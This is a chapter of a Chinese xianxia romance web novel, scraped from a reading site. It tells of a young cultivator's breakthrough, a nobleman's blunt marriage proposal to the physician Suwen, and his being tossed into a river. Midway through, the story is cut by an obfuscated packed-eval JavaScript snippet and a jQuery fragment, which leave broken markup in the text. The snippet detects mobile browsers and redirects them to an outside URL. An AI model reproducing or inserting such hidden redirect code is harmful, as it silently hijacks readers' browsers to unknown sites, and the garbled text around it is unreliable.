默认冷灰
24号文字
方正启体

9. 金风玉露(九)

作者:鱼在溪本书字数:K更新时间:
    炼精化气,是谓元婴,从此以后,身体就不会轻易出现灵力枯竭的情况了,因为天地灵气皆为己所用。


    明月奴将感官放大,轻而易举察觉到了周遭灵气流动,不过这些灵气十分不纯净,夹杂着丝丝黑气,和朝馨身上的如出一辙。想到朝馨,明月奴结印施法,立刻感觉到了自己的留香,确定了朝馨的方位。明月奴当即大喜,一骨碌跳起,拉开房门要去报喜,不期然迎面正见素问站在院中水杉树下,她正抬头看着树上的鸟窝。


    明月奴有些委屈,抱臂留在屋里,道:“阿姐,我好不容易顺利出关,你却去看鸟窝。”


    “方才灵力流动,带起了风,鸟窝有些晃动,我担心小鸟掉出来。”素问收回目光,笑着冲明月奴招了招手,道,“来,我给你准备了礼物。”


    明月奴立刻被哄好,喜滋滋地跟着素问来到柜台后,只见她从抽屉中取出一瓶白瓷瓶,明月奴问道:“这是?”


    “固灵丹,你出关的时候,我或许不在家,便将它留在此处,你看到我留在门口的纸条自然明白,不过现在这样更好,当面给你。”


    “多谢阿姐!”明月奴收下白瓷瓶,又道,“对了,你猜我现在到了什么境界。”


    素问虽然不能施法,但这个问题却难不倒她:“元婴初期,想必五感通明,能习得追踪术了。”


    “是啊!我给阿姐演示!”明月奴说着,闭上眼睛施法,紧接着便皱起了眉头,“啧”地一声。


    素问了解他,有些好笑地问:“图师兄来了?”


    明月奴摇头。


    “那是水玉?”


    明月奴睁眼,道:“是李重琲!”


    素问有些惊讶:“李衙内?”


    明月奴重重地点头。


    素问去开门,明月奴连忙帮着一起,两人放好门板后,素问走到门前,便见长街那头,李重琲迎着朝阳骑马而来,看见素问,他遥遥挥手,到跟前时,马还没停稳,他已经跳了下来,欣喜地问道:“叶医师如何知道我要来?莫非是心有灵犀一点通?”


    素问:“……”


    “玩笑话,玩笑话。”李重琲插起腰,笑着冲医庐抬了抬下巴,问道,“叶医师生意如何?”


    “这几日还好。”


    李重琲问道:“来的病人是男是女?”


    素问回想一番,感觉有些不对,道:“都是女子。”


    “甚好。”李重琲微笑。


    “怎么会好呢?”清脆的声音响起,石水玉一身湖绿长裙,从桥边款款而来。


    李重琲眼睛一亮,道:“小娘子这么早?”


    石水玉微微一笑,并不答话,到了近前,才道:“可怜素问还以为是因为别人不相信自己的医术,所以才会数日无人问津,浑不知罪魁祸首就在眼前。”


    素问和李重琲同时问道:“此话怎讲?”


    石水玉先问素问:“你进城那天,做了什么?”不待回答,她又继续道,“轻而易举救活了一个重伤垂死的人,大家都看见了,怎么还会对你的医术产生质疑?”


    素问不解:“那为何……”


    “因为李衙内为你的医庐揭牌了呀!”石水玉摇头叹气,“如此一来,平民男子自然不敢上门,否则岂知自己不会是下一个方医师?贵族子弟更不必说了,他们不缺医师治病,哪怕有天仙在此,他们也不会冒着得罪李衙内的风险来这里。”


    李重琲争辩:“我来揭牌是为了给叶医师撑腰,怎么被你说得竟成了坏事?”


    石水玉依旧不理他,只向素问发问:“你出去时,有没有被人跟踪?”


    素问想到自己去找方灵枢的时候,几次感觉到的人,不禁瞪大眼睛,连连点头。


    “这就显而易见了,有人起了色心,又不敢得罪衙内,正在找机会呢!”


    李重琲立刻道:“这么说,我来揭牌还是好处更大!不过到底是谁,竟敢对叶医师起歹心,若要被我发现,我定扒了他的皮!”


    石水玉掩口一笑,道:“素问现在明白为何没人来了么?”


    素问皱眉:“这倒是两难之境。”


    “不难,我先前说会渐渐有人,并不是安慰你,现在果真如此,也不是巧合。”石水玉耐心解释,“你去半钱医馆,别人瞧见几次,就会明白李衙内并不会对与你接触的男子赶尽杀绝,再者还有我带来女子医治,初时便有女病者来了,等日子一长,大家发现衙内嘴硬心软,男病者也会慕名而来。”


    李重琲心情从方才的低谷立刻又回到了山峰,嘴角止不住地扬起,口中还要强调:“什么嘴硬心软?本衙内心可不软!”


    素问想到方灵枢当时的伤势,也认为李重琲并非心软之人,同时也回过味来:石水玉这番拐弯抹角看似是与自己交谈,实则在捧李重琲,如一开始来医庐便要寻李重琲一样,她是有心接近李重琲的。


    如此,方灵枢当初的“见义勇为”便显得有些可笑。


    素问一点儿也不想笑,转身回了医庐。


    石水玉很是敏锐,立刻察觉到了,她看向素问的背影,犹豫不过一瞬,果断跟进了屋。


    李重琲忽然被晾到一边,懵了一会儿,才反应过来,等他走进医庐时,所见是两个美貌女子在说笑,当即被这份赏心悦目冲散了被忽略的不满,他凑上去问:“你们在聊什么?”


    “在说方医师呢。”石水玉回答。


    李重琲眉头一皱:“说他做什么?”


    石水玉笑道:“说方医师是个好人呀,医术好、人品佳,信服他的病人很多,前些时日,我在他那里遇到了素问,想来素问是去找方医师取经了。”


    李重琲冷哼一声,颇为不屑。


    素问来回看着两个人,忍不住插话:“李衙内,你还要去寻方医师的麻烦么?”


    李重琲一愣,不解道:“我那天不是都给过教训了么?跟你说好放过他,我肯定要遵守诺言的。”


    “那就好。”素问松了口气,想了想,又道,“有些事……尤其是人心里的想法,是不可强求的,衙内还是不要强人所难了。”


    李重琲不知想到什么,整个人气质蓦然一沉,他低头把玩着腰上的玉佩,漫不经心地问道:“比如呢?”


    “比如男女之情。”素问道。


    玉佩掉了下去,在衣摆上晃动着,李重琲张着嘴,呆呆地看着素问:“哈?”


    “嗯,衙内好自为之。”素问认真点了点头。


    李重琲“噗”地一声笑出声,马上又捂住脸,露出一双笑眼看着石水玉。


    石水玉眼神流转,没有笑。


    李重琲放下手,问:“你不觉得叶医师很可爱么?”


    素问面无表情。


    “我早就发现了,否则怎么会来呢?”石水玉垂眸,顿了顿,起身道,“我有些事,要先走了。”


    李重琲奇道:“不是刚来,怎么就要走?”


    石水玉没有回答,走出两步,又回头看向李重琲:“你不走?”


    “你先走,稍后……”李重琲耸着眉头,正要调笑,忽然想起素问还在旁边,不知怎么就下意识正经了起来,沉声道,“我不走啊,我寻叶医师有些事,小娘子走好。”


    石水玉立刻转身,头也不回地走了。


    “女子真是奇怪。”李重琲回过头,向素问道,“忽冷忽热的,也不知在想什么,叶医师你说对不对?”


    素问不想回答,只问道:“李衙内是来看病么?”


    李重琲:“……”


    憋了片刻,总算开口:“我来看看叶医师。”


    “为何要看我?”


    李重琲摸着下巴,思索片刻,蓦然眼睛一亮,素问直觉不妙,只听他道:“我今日来,是想求娶叶医师,虽则自己来有些失礼,但还是想先征得你的同意,再去寻媒人上门。”


    素问瞪着眼睛看他,过了好一会儿,没见他反悔,傻傻道:“哈?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061029|163002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>李重琲含情脉脉、柔声细语:“那日初见,我便对叶医师情根深种,此生所求,唯叶医师而已!”


    素问道:“可是我与你并不相熟。”


    李重琲道:“这世间多的是盲婚哑嫁,一样可以恩爱到老,相比较,我俩可比他们好多了。”


    素问道:“我心里没有你,你方才那样说,可见心里也没有我,更加不可能情根深种,既然我们不能心意相通,又怎能结为伴侣?”


    李重琲道:“可以慢慢通啊。”


    “不行,师父说过,我决不可动凡心。”素问摇头,“你还是死了这条心罢。”


    李重琲忍笑:“什么不动凡心?你师父是哪个山沟里的老和尚不成?你放心,让我去见见他,保管他……”李重琲说着说着,不禁垂下了头,发现自己的脚竟然离地而起。


    素问这才注意到他身后的明月奴,只是还没等她制止,一股大力紧随而去,下一刻,李重琲只觉身子一轻,整个人腾空而起,直接被扔进了洛河。


    侍从原本依在河边栏杆闲磕,忽然眼前一花,只见一个华服影子从他们头顶飞过,落到了水里,好奇一看,原来是自家主人,顿时脸变了颜色,“扑通扑通”一片,转眼间全都跳进了河里,洛河顿时热闹得如同鸭子赶集——


    “不得了不得了!”


    “哎呦!衙内!”


    “快救衙内!”


    明月奴叉腰跟到河边,本来一身怒意,准备施法给他们点教训,见此情形,当即开怀大笑起来。


    素问来到他旁边,责怪地拍他胳膊,提醒道:“别伤到了人。”


    “阿姐放心,我看着呢,死不了。”


    洛河里,李重琲已经喝了好几口水,好在这会儿已经被侍从架起来了,神智还算清楚,他仰头看见明月奴,怒从中来,指着明月奴便要开骂,但紧接着便注意到旁边还站着素问,立刻又憋了回去。


    明月奴笑意淡去,轻声道:“他有所图谋。”


    “左不过是治病的事,不管如何,他对我们并没有恶意。”素问说罢,推了推明月奴,道,“虽说天气热,到底是清晨,落了水还是容易染风寒,你去拉他们一把。”


    明月奴不情不愿地走下河埠头,向水中众人伸出手,侍从们连忙将李重琲推过来,明月奴拉住了他的胳膊,两人对视一眼,李重琲便觉不好,果然明月奴又将他按进了水了,不等他挣扎,又直接将人拎上了岸。这一系列举动如行云流水,别说旁观者没看清,就是李重琲也差点以为自己将别人想坏了,但嗓子眼实打实的难受却不作假,他不由向明月奴投去怀疑的目光。


    “哇——小郎君力气好大!”还在水里的鸭子们七嘴八舌地赞扬。


    李重琲回身骂道:“死狗奴,力气不大怎么隔着街将我扔进水里?!”


    众人方知原来是这么个过程,便纷纷口出脏言,向明月奴的祖宗们发起问候。


    素问意念微动,从须弥戒里取出祛寒的丹药,走下台阶递给李重琲,道:“这瓶刚好有七粒,你们每人吃一粒,便不会生风寒了,不过衣服湿着总归不好,衙内快回家去换了罢。”


    李重琲接过药,眼珠一转,向素问笑道:“风寒不见得有,但确实受惊不小,估计回头还要小娘子给诊治诊治。”


    素问淡淡道:“只要不胡说,衙内随时来都行。”


    李重琲又想辩解:“我没有……”


    “好了,看客越来越多,衙内如此狼狈,还是莫要逗留的好。”素问说罢,不再停留,转身上了台阶,回到了医庐里。


    李重琲握紧药瓶,缓步走上岸,发现果然有人在偷看他,于是索性靠到了栏杆上,懒懒道:“看罢看罢,我倒要看看谁不想要眼睛。”


    众人当即作鸟兽散。


    素问听着外面的动静,心里起了疑惑:“他是什么身份?为何如此嚣张?”


    明月奴当即请命前去打听,到了下午,便给素问带来了答案。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)